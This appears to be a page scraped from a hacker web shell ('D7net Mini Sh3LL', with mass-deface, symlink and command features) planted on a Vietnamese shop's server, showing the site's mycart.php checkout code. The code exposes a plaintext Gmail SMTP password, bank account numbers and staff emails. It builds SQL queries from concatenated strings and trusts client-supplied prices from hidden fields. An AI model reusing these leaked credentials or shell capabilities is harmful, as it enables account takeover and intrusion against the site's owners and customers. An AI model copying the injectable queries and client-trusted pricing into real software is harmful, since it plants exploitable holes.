D7net Mini Sh3LL v1

 
ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF
Directory (0777) :  C:/Domains/maymaytinson.com/httpdocs/filebrowser/../lib/../include/

 Home   ☍ Command   ☍ Upload File   ☍Info Server   ☍ Buat File   ☍ Mass deface   ☍ Jumping   ☍ Config   ☍ Symlink   ☍ About 

Current File : C:/Domains/maymaytinson.com/httpdocs/filebrowser/../lib/../include/mycart.php
<?php
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;

require 'mail/Exception.php';
require 'mail/PHPMailer.php';
require 'mail/SMTP.php';?>
<div id="myCart">
	<h1 align="center">Giỏ hàng</h1>
	<h2>Sản phẩm đã chọn</h2>
<?php
$stmt=$conn->prepare("SELECT *,product.id AS idProduct,cart.id AS idCart,product.name AS nameProduct,product.image AS imageProduct FROM cart JOIN product ON cart.product=product.id WHERE customer='".$_SESSION['id']."'");
$stmt->execute();
$mycart=$stmt->fetchAll(PDO::FETCH_ASSOC);
$total=0;
$amount=0;
?>
<div id="frameMyCart">
<form method="POST">	
<table>
	<thead>
		<th colspan="2" width="50%">Sản phẩm</th>
		<th>Số lượng</th>
		<th>Giá</th>
		<th>Thành tiền</th>
		<th>...</th>
	</thead>
<?php foreach ($mycart as $mycart) {
$endImage=stripos($mycart['imageProduct'],".")+4;
$image=substr($mycart['imageProduct'],0,$endImage); 
$total+=$mycart['price']*$mycart['amount'];
if($mycart['discount']>0){
	$mycart['discount'];
	$mycart['price']-=$mycart['price']*$mycart['discount']/100;
}
?>	
	<tr>
		<input hidden type="text" name="id[]" value="<?php echo $mycart['idProduct'] ?>">
		<input hidden type="text" name="amount[]" value="<?php echo $mycart['amount'] ?>">
		<input hidden type="text" name="price[]" value="<?php echo $mycart['price'] ?>">
		<td width="10%"><img align="center" width="98%" src="<?php echo $image ?>"></td>
		<td><?php echo $mycart['nameProduct']; ?></td>
		<td align="center"><?php echo $mycart['amount'];$amount+=$mycart['amount']; ?></td>
		<td align="right" class="price"><?php echo number_format($mycart['price'])." đ"; ?></td>
		<td align="right" class="price"><?php echo number_format($mycart['price']*$mycart['amount'])." đ"; ?></td>
		<td align="center"><a href="deleteCart.php?id=<?php echo $mycart['idCart'] ?>">Xóa</a></td>
	</tr>
<?php }?>	
</table>
</div>
<div id="method">
	<input class="radio" type="radio" name="method" value="0" checked=""> Tiền mặt
	<input class="radio" type="radio" name="method" value="2"> Bảo Kim
	<input class="radio" type="radio" name="method" value="1"> Chuyển khoản
	<div id="infoBankC">Chủ tài khoản: CÔNG TY TNHH TM DV TÍN SƠN<br>+ Vietcombank - chi nhánh Tân Định: <br>- Stk: 0371008899677<br>+ ACB - chi nhánh Đông Sài Gòn:<br>- Stk: 58382419</div>
</div>
<div id="totals">
	Tổng sản phẩm: <b><?php echo $amount; ?></b><br>
	Tổng số tiền:<br><span class="price"><?php echo number_format($total)." đ"; ?></span><br>
	<button type="submit" name="pay" id="pay">Tiến hành thanh toán</button><br><br><br>
	<?php if(isset($_POST['pay'])){
		$method="";
		if($_POST['method']==0){
			$method="Tiền mặt";
		}
		if($_POST['method']==1){
			$method="Chuyển khoản, Chủ tài khoản: CÔNG TY TNHH TM DV TÍN SƠN:<br>- Ngân hàng TMCP Ngoại thương Việt Nam (Vietcombank), chi nhán Tân Định: 0371008899677<br>- Ngân hàng TMCP Á Châu (ACB), chi nhánh Đông Sài Gòn: 58382419";
		}
		if($_POST['method']==2){
			$method="Bảo Kim";
		}
		$listProduct="";		
		$customer=$_SESSION['id'];
		$stmt=$conn->prepare("SELECT name,email,phone,addr FROM member WHERE id='".$customer."'");
		$stmt->execute();
		$infoCustomer=$stmt->fetch(PDO::FETCH_ASSOC);		
		$dayBuy = date("Y-m-d H:i:s");
		$id=array();
		$id=$_POST['id'];
		$amount=$_POST['amount'];
		$price=$_POST['price'];
		$array=sizeof($id);
		for ($i=0; $i < $array; $i++) { 
			$idProduct=$id[$i];
			$amountProduct=$amount[$i];
			$priceProduct=$price[$i];
			$isMember=1;
			$stmt=$conn->prepare("INSERT INTO payment(customer,product,amount,price,dateBuy,isMember) VALUES(:customer,:product,:amount,:price,:dateBuy,:isMember)");
			$stmt->bindParam(":customer",$customer,PDO::PARAM_INT);
			$stmt->bindParam(":product",$idProduct,PDO::PARAM_INT);
			$stmt->bindParam(":amount",$amountProduct,PDO::PARAM_INT);
			$stmt->bindParam(":price",$priceProduct,PDO::PARAM_INT);
			$stmt->bindParam(":dateBuy",$dayBuy,PDO::PARAM_STR);
			$stmt->bindParam(":isMember",$isMember,PDO::PARAM_INT);
			$stmt->execute();
			$stmt=$conn->prepare("SELECT name FROM product WHERE id='".$idProduct."'");
			$stmt->execute();
			$nameProduct=$stmt->fetch(PDO::FETCH_ASSOC);
			$listProduct.="<tr>
								<td style='padding:10px' align='center'>".$nameProduct['name']."</td>
								<td style='padding:10px' align='center'>".$amountProduct."</td>
								<td style='padding:10px' align='right'><span class='price'>".number_format($priceProduct)." đ</span></td>
								<td style='padding:10px' align='right'><span class='price'>".number_format($amountProduct*$priceProduct)." đ</span></td>
							</tr>";
			success("Gửi đơn hàng","myCart.php");
		}$listProduct;
$mail = new PHPMailer;
$mail->isSMTP(); 
$mail->SMTPDebug = 0; // 0 = off (for production use) - 1 = client messages - 2 = client and server messages
$mail->Host = "smtp.gmail.com"; // use $mail->Host = gethostbyname('smtp.gmail.com'); // if your network does not support SMTP over IPv6
$mail->Port = 587; // TLS only
$mail->SMTPSecure = 'tls'; // ssl is deprecated
$mail->SMTPAuth = true;
$mail->Username = 'autosendmailtinson@gmail.com'; // email
$mail->Password = 'taolazip24'; // password
$mail->setFrom('autosendmailtinson@gmail.com', 'Tin Son'); // From email and name
$mail->addAddress($infoCustomer['email'], 'Khach hang cua Tin Son');
$mail->addAddress("thietbimaymactinson@gmail.com", 'Tin Son');
$mail->addAddress("ctytinson.nguyen@gmail.com", 'Tin Son');
$mail->addAddress("phamtam241295@gmail.com", 'Tin Son'); // to email and name
$mail->Subject = '[Tin Son] - Xac nhan don hang';
$mail->msgHTML("<div style='font-size : 15pt;padding: 0 5%;color:black'>
			<p align='center'>Chào ".$infoCustomer['name'].", vui lòng xác nhận lại đơn hàng </p>
			<table border='1' style='width:100%;border-collapse: collapse;padding:10px;'>
				<tr>
					<td width='50%' colspan='2' align='center'>Bên giao hàng</td>
					<td width='50%' colspan='2' align='center'>Bên nhận hàng</td>
				</tr>
				<tr>
					<td width='20%' style='padding:5px'>Họ tên </td>
					<td style='padding:5px'>Tín Sơn</td>
					<td width='20%' style='padding:5px'>Họ tên </td>
					<td style='padding:5px'>".$infoCustomer['name']."</td>
				</tr>
				<tr>
					<td style='padding:5px'>Điện thoại </td>
					<td style='padding:5px'>028.3948.5177</td>
					<td style='padding:5px'>Điện thoại </td>
					<td style='padding:5px'>".$infoCustomer['phone']."</td>
				</tr>
				<tr>
					<td style='padding:5px'>Hình thức thanh toán </td>
					<td style='padding:5px'>".$method."</td>
					<td style='padding:5px'>Địa chỉ giao hàng</td>
					<td style='padding:5px'>".$infoCustomer['addr']."</td>
				</tr>
			</table>
			<table border='1' style='border-collapse:collapse;width:100%' >
				<tbody><tr>
					<th>Tên sản phẩm</th>
					<th>Số lượng</th>
					<th>Đơn giá</th>
					<th>Thành tiền</th>
				</tr>
				".$listProduct."
			</tbody></table>
			<br>
			<p align='center'>Chân thành cảm ơn ".$infoCustomer['name']." đã đặt hàng tại Tín Sơn !</p>
		</div>"); //$mail->msgHTML(file_get_contents('contents.html'), __DIR__); //Read an HTML message body from an external file, convert referenced images to embedded,
$mail->AltBody = 'HTML messaging not supported'; // If html emails is not supported by the receiver, show this body
// $mail->addAttachment('images/phpmailer_mini.png'); //Attach an image file
if(!$mail->send()){
    "Mailer Error: " . $mail->ErrorInfo;
}else{
    "Message sent!";
}			
	} ?>
	</form>
</div>
</div>

AnonSec - 2021 | Recode By D7net